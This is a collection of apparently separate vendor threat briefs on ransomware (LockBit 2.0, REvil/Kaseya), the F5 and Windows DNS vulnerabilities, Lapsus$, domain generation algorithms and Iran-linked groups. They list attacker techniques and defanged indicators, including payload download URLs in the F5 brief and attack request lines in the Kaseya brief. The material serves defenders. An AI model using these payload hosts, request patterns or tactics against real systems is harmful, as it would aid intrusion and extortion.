When unauthorized coin mining happens with the site owner’s knowledge and permission, it’s basically a malicious site.
That site’s owner is the attacker.
When we’re talking about online shopping, clearly there’s no threat here to the retailer: they’re the ones doing the attacking.
And for the shopper, it means you’re on an untrustworthy site and so open to all manner of risks beyond just unauthorized coin mining.
The real, significant situation shoppers and retailers need to think about this season is when unauthorized coin mining code is on a site without that site owner’s knowledge and permission.
Here the site itself has been attacked, and the site owners are also victims.
This is an attack against not just shoppers but the retailers operating online shopping sites.
How You Can Prevent Unauthorized Coin Mining Attacks
If you’re a shopper, there are three things you can do to protect yourself against unauthorized coin mining attacks this holiday season:
If you’re a retailer, preventing unauthorized coin mining attacks comes down to focusing on two tasks, both of which you should be doing anyway:
Finally, if you’re a legitimate website that has chosen to implement coin mining to raise funds from your visitors, you can ensure that your visitors don’t think you’re engaged in unauthorized coin mining by doing three things:
Conclusion
Working to prevent cybercrime threats during the holiday season has become a standard part of what shoppers and retailers do every year.
This year, for the first time in many years, shoppers and retailers are facing a new threat, unauthorized coin mining, driven by the surge in digital currency prices.
While this threat can have a clear, negative impact on retailers and shoppers, the good news is that this threat is easily preventable and poses no lasting harm to consumers.
This is a case where forewarned is forearmed, and that forearming can result in effective prevention.
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LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.
Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.
The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.
While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.
While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.
According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.
As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022.
And the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.
Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.
Its most highly targeted industry verticals include professional services, construction, wholesale and retail, and manufacturing.
Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.
(Please see the Conclusion section for more detail.)
LockBit 2.0 Overview
Victimology
Leak Site Data
Unit 42 Incident Response Data on LockBit 2.0
LockBit 2.0 Tactics, Techniques and Procedures
LockBit 2.0 Technical Details
LockBit 3.0
Courses of Action
Conclusion
Appendix A
Additional Resources
LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.
In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.
This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.
Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.
Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.
Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.
LockBit 2.0 has been observed changing infected computers’ backgrounds to a ransomware note.
The ransomware note was also used to recruit insiders from victim organizations.
The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and/or launching a payload manually.
The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.
In exchange, they offer a cut of the paid ransom.
LockBit 2.0 targets organizations opportunistically.
The operators work with initial access brokers to save time and allow for a larger profit potential.
While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.
The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that “contribute to the survival of the human race”.
However, despite these claims, there have been instances of affiliates undermining these guidelines by still opting to attack industry verticals such as healthcare and education.
Organizations in Europe and the U.S. are hit more often by LockBit 2.0 than those in other countries, likely due to the high profitability and insurance payouts.
During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.
According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.
As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.
Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.
The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised.
LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.
According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany.
LockBit 2.0 has also impacted various victims across multiple industry verticals.
Its most highly targeted industry verticals include professional services, construction, wholesale and retail and manufacturing.
When looking at leak site data across all ransomware families, we’ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.
Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.
The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.
LockBit 2.0 has shown a decrease in dwell time in FY 2022.
From the last two quarters of FY 2021 to the first two quarters of FY 2022, there has been an average 37-day difference.
The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.
The graph below demonstrates that at the end of FY 2021, threat actors using LockBit 2.0 were much more open to negotiations of ransom amounts; during that time the ransom was dropped approximately 83% from the initial ask on average.
In comparison, we see less flexibility in FY 2022 Q1 and Q3 – threat actors only offered an average of about 30% as a price drop.
FY 2022 Q2 is not included due to lack of sufficient information.
Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures:
Windows SysInternals PsExec has been utilized for both persistence and execution purposes.
Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.
LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.
It can affect both Windows and Linux OS, as the operator released a Linux version of LockBit 2.0 to target VMware ESXi hypervisor systems in October 2021, coded exclusively in the C programming language.
The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples.
LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.
A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.
LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.
StealBit contains the following capabilities:
The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools.
There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.
After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.
Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.
On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black.
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques:
Exploit Public-Facing Application [T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell [T1505.003], Exploitation for Privilege Escalation [T1068], Indicator Removal on Host [T1070], Deobfuscate/Decode Files or Information [T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts [T1078], External Remote Services [T1133], Scheduled Task [T1053.005], Bypass User Account Control [T1548.002], Group Policy Modification [T1484.001]
OS Credential Dumping [T1003], Credentials from Password Stores [T1555]
Network Service Scanning [T1046], Process Discovery [T1057], System Location Discovery [T1614], System Information Discovery [T1082]
Remote Services [T1021], SMB/Windows Admin Shares [T1021.002]
Remote Access Software [T1219]
Data Transfer Size Limits [T1030], Exfiltration Over C2 Channel [T1041]
Data Encrypted for Impact [T1486], Service Stop [T1489]
†These capabilities are part of the NGFW security subscriptions service
Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.
This is a subset of our current Courses of Action initiative and will be updated as the project progresses.
LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.
With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.
LockBit’s continuation with operations and its next iteration coming up on the horizon means that organizations and their security teams need to stay vigilant in the ever-evolving threat landscape.
Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways:
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).” The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.
Some key takeaways from the claims made in the interview were:
LockBit 3.0: Another Upgrade to the World’s Most Active Ransomware
Ransomware Groups to Watch: Emerging Threats
Average Ransom Payment Up 71% This Year, Approaches $1 Million
2022 Unit 42 Ransomware Threat Report Highlights
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In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.
This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53/TCP.
Exploitation of this vulnerability is possible by creating an integer overflow, potentially leading to remote code execution.
This vulnerability only affects Windows DNS and the following builds of the Microsoft Windows operating system (OS):
As always, we recommend our customers patch their systems as soon as possible.
Microsoft also provided a workaround in cases where patches are not immediately possible.
Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.
Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability:
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
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On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388.
Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems.
This is a critical vulnerability that needs immediate attention, as it was given a 9.8 CVSS score.
Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.
Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.
Unit 42 recommends customers upgrade to the latest release of F5 BIG-IP products.
Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570.
Vulnerable Systems
Mitigation Actions
Observed in the Wild
Conclusion
Additional Resources
Indicators of Compromise
The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:
The vulnerability exists within the iControl REST framework used by BIG-IP.
We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:
Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.
In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.
We observed this signature triggered 2,552 times between 4:47 and 14:00 UTC on May 10.
We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts.
Table 1 shows the commands that would be executed in the event of successful exploitation.
These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.
Table 1.
Commands observed in CVE-2022-1388 exploitation attempts.
Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways:
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388
EnemyBot Attempts to Exploit CVE-2022-1388
30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20
da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb
b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d
ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c
1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7
9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5
53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c
20.187.67[.
]224
192.132.218[.
]149
85.203.23[.
]73
116.48.110[.
]159
hxxps://transfer[.
]sh/dlxo3I/1.sh
hxxp://20.239.193[.
]47/kele.sh
hxxp://20.239.193[.
]47/kele1
hxxp://20.187.86[.
]47/dadda
Updated May 16, 2022
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On July 2, attackers reportedly launched attacks against users of the Kaseya VSA remote monitoring and management software as well as customers of multiple managed service providers (MSPs) that use the software.
They used access to the VSA software to deploy ransomware associated with the REvil/Sodinokibi ransomware-as-a-service group, according to reports.
Kaseya has stated that the attack was conducted by exploiting a vulnerability in its software, and said they are working on a patch.
The company has not released further information on the vulnerability.
Kaseya recommends that any organization using VSA shut the system down immediately.
CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.
The full extent of the attack is currently unknown.
Kaseya states that fewer than 40 of its customers are impacted.
If those customers include MSPs, many more organizations could have been attacked with the ransomware.
Kaseya VSA’s functionality allows administrators to remotely manage systems.
If an MSP’s VSA system was compromised, that could allow an attacker to deploy malware into multiple networks managed by that MSP.
There has been much speculation about the nature of this attack on social media and other forums.
We have not been able to independently determine how these attacks were conducted.
Multiple sources have stated that the following three files were used to install and execute the ransomware attack on Windows systems:
agent.exe  | d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
mpsvc.dll | e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
mpsvc.dll  | 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
Palo Alto Networks WildFire, Threat Prevention and Cortex XDR detect and prevent REvil ransomware infections.
As more information becomes available on the nature of this attack, we will update this brief to provide additional details.
d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
Source: Incident Overview and Technical Details, Kaseya
35.226.94[.
]113
161.35.239[.
]148
162.253.124[.
]162
POST /dl.asp curl/7.69.1
GET /done.asp curl/7.69.1
POST /cgi-bin/KUpload.dll curl/7.69.1
GET /done.asp curl/7.69.1
POST /cgi-bin/KUpload.dll curl/7.69.1
POST /userFilterTableRpt.asp curl/7.69.1
Understanding REvil: The Ransomware Gang Behind the Kaseya Attack
Threat Assessment: GandCrab and REvil Ransomware
2021 Unit 42 Ransomware Threat Report
Breaking Down Ransomware Attacks
Ransomware’s New Trend: Exfiltration and Extortion
Updated July 6, 2021, at 3:06 p.m. PT.
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Intro
One of the most important “innovations” in malware in the past decade is what’s called a Domain Generation Algorithm (“DGA”)”.
DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks.
While DGA has been in use for over 10 years now, it’s still a potent technique that has been a particular challenge for defenders to counter.
Fortunately, there are emerging technologies now that can better counter DGAs.
What is it?
A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion.
Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as “command and control” or C2).
Attackers use DGA so that they can quickly switch the domains that they’re using for the malware attacks.
Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses.
Attackers developed DGA specifically to counter these actions.
In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites.
By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains.
To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.
Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one.
Many DGAs are built to use hundreds or even thousands of domains.
And these domains are often up for only limited periods of time.
In this environment blocking and taking down DGA-related domains quickly becomes a game of “whack a mole” that is sometimes futile.
Why should I care, what can it do to me?
DGA by itself can’t harm you.
But it is an important piece that enables modern malware to try and evade security products and countermeasures.
The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008.
DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.
What can I do about it?
Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:
In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations.
In particular, security vendors are bringing automation to bear to counter the attackers’ automation.
New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.
You can also learn more about these new technologies and look at deploying them as an additional layer of protection.
About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family?
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The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.
Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.
In today’s environment, threat actors favor using ransomware to encrypt data and systems and often extort victims for significant amounts of cryptocurrency in exchange for decryption keys, sometimes turning up the pressure with the threat of publishing stolen data.
Lapsus$, however, is unusual in its approach – for this group, notoriety most often appears to be the goal, rather than financial gain.
Unit 42 has helped organizations respond to multiple Lapsus$ attacks.
The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion.
They focus on using a combination of stolen credentials and social engineering to gain access to victims.
We’ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.
However, the group’s attacks and leaking of stolen data even without extortion can be very damaging.
In addition, we’ve seen destructive Lapsus$ attacks where the actors got access to an organization’s cloud environment, wiped systems and destroyed over a thousand virtual machines.
Although there are no public indicators of compromise (IoCs), and no tactics, techniques and procedures (TTPs) that are unique to Lapsus$ Group, here we will summarize what is known of this threat actor to better enable defenders in understanding and mitigating this threat.
Early Targets of Lapsus$
Evolution of Targeted Organizations
Mitigation Actions
Conclusion
Additional Resources
We first observed the “Lapsus$” handle mid-2021, but the first attack activity quoting that handle was in August 2021, with some U.K. mobile phone customers reporting receiving threatening texts (Figure 1).
In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2).
This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.
This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.
This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.
Apart from Argentinian eCommerce provider Mercado Libre / Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.
Recent public victims have included:
It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.
It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA).
To this end, we are aware of this actor’s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access.
For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3).
Several of the Lapsus$ Group’s attacks involved the theft and publication of source code.
In the case of Nvidia, it was observed as a non-financial extortion attempt.
In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.
However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.
Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.
A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.
Credentials are harvested from dumps, purchased or spear-phished.
When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA/telecoms providers.
Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.
If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.
Focus on general information security best practices: MFA, access controls and network segmentation.
Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping.
Patching of internal systems that might support lateral movement and privilege escalation should be prioritized, as well as against known public exploits that these actors might employ.
Although the commodity malware RedLine Stealer has been implicated for credential harvesting in some attacks, it’s unclear if this is first- or third-party, and it cannot be used as a definitive indicator of Lapsus$-specific activity.
Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety.
They claim in some cases to have targeted organizations with the specific goal of gaining access to customers.
While referred to as a ransomware group in many reports, the Lapsus$ Group is more accurately called an attack group.
Most notably, their focus to date does not appear to have been on extortion and financial gain.
Even without extortion, the group’s attacks and leaks of stolen information can be damaging.
Because the group uses a diversity of techniques for attacks, no single technique can protect against Lapsus$ or detect its attacks.
Because of this, we recommend that organizations focus on observing general information security best practices as described in the Mitigation Actions section above.
Unit 42, together with researchers at Unit 221b, identified the primary actor behind the Lapsus$ Group moniker in 2021, and have been assisting law enforcement in their efforts to prosecute this group.
If you think you may be subject to an active attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
DEV-0537 criminal actor targeting organizations for data exfiltration and destruction
A Closer Look at the LAPSUS$ Data Extortion Group
Lapsus$ Telegram channel: t[.
]me/minsaudebr
Email address associated with Lapsus$ Group: saudegroup[at]ctemplar[.
]com
Updated March 25, 2022, at 8:30 a.m. PT.
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With elevated tensions in the Middle East region, there is significant attention being paid to the potential for cyber attacks emanating from Iran.
The following threat brief contains a summary of historical campaigns that are associated with Iranian activity and does not expose any new threat or attack that has occurred since the events of January 3rd, 2020.
Since 2010, it is thought that Iran has been highly active in cyber operations campaigns throughout the world.
A number of groups and campaigns have been named and published on by the private sector, but direct attribution to the nation-state of Iran is still largely lacking in many of these instances.
Most attribution published by the private sector has relied on tactical evidence surrounding targeting and possible motivations.
It is important to keep this in mind, while at the same time understanding that without additional evidence, the current attribution set is accepted industry-wide as fact.
Unit 42 has not gathered evidence to specifically attribute any of the accepted groups as originating from Iran, but also has not observed any evidence to counter any publicly made claims.
Overview of Iran-Linked Campaigns: Some of the currently active groups or campaigns publicly attributed by the industry as originating from Iran are:
There appear to be two distinct motivators for these groups, espionage and destruction.
The majority of observed attack campaigns have been espionage related, with the associated groups appearing to seek continued access into a target organization or access to sensitive data.
A smaller number of highly focused destructive attacks have been observed over time, beginning with the original Shamoon attack in 2012, with additional iterations years after, and more recently with StoneDrill and ZeroCleare.
Overall, cyber attacks thought to be originating from Iran have been persistent and ongoing for the last decade.
The target radius for these groups have spanned across the globe, across all major industries.
Although perceived retaliatory actions may occur in the near future, even those actions are most likely in conjunction with ongoing attack campaigns and operations.
Iranian TTPs: Behaviorally, several tactics and techniques have been observed across multiple groups and campaigns over time.
The following is a list of commonly observed tactics and techniques along with their associated ATT&CK IDs:
General Mitigations: With this knowledge of common behaviors, some mitigations recommendations are:
Palo Alto Networks’ Customer Mitigations: Palo Alto Networks customers should adopt best practices and evaluate their security posture to protect against the threats outlined in this document as well as other threats that may impact their network and users.
https://attack.mitre.org/groups/G0049/
OilRig is a threat group Unit 42 named and discovered in May 2016.
Since then, we have extensively researched their campaigns and operations.
This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking.
In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts.
OilRig’s custom payloads frequently used DNS tunneling as a command and control (C2) channel.
Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network.
When presented with a webserver, OilRig would install a webshell as another ingress point to maintain access to the network.
https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/
https://unit42.paloaltonetworks.com/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/
https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/
https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/
https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://attack.mitre.org/groups/G0059/
The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism.
These emails delivered macro-enabled Microsoft Office documents and PE files within attachments.
The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.
The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group.
Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.
https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/
https://attack.mitre.org/groups/G0064/
APT33 is a threat group thought to have strong interest in the aeronautics and energy sectors.
They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate.
They are known to use custom tools in conjunction with well-known publicly available backdoors that are sold in various hacking forums.
A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins.
This activity exemplified how this adversary group and other related groups will attack organizations outside of their mission objective to augment their own capabilities to complete their task.
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/
https://attack.mitre.org/groups/G0079/
The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns.
DarkHydrus is a more sophisticated group when compared to others operating in the region, as their toolset and TTPs show a higher skill level.
DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery.
They have also been observed using Google Drive for their C2 channel.
https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
The original Shamoon attack was launched in 2012 and targeted two specific organizations in the energy sector with the goal of rendering their respective computer systems inoperable by wiping their disks.
The attack package included a commercially available driver to execute the wiping tasks and also included a worming component which allowed the package to spread within a target organization in an automated manner.
The 2012 incident was one of the first large scale targeted destructive attacks that had been publicly shared.
Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018.
In each instance, the primary capabilities and functionality remained largely the same.
https://securelist.com/shamoon-the-wiper-copycats-at-work/57854/
https://unit42.paloaltonetworks.com/unit42-shamoon-2-return-disttrack-wiper/
https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/
https://unit42.paloaltonetworks.com/unit42-shamoon-2-delivering-disttrack/
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://unit42.paloaltonetworks.com/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran/
MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity.
Additional investigation revealed no other similarities in either tools or tactics, thus concluding that the MuddyWater activity was likely operated by a separate actor.
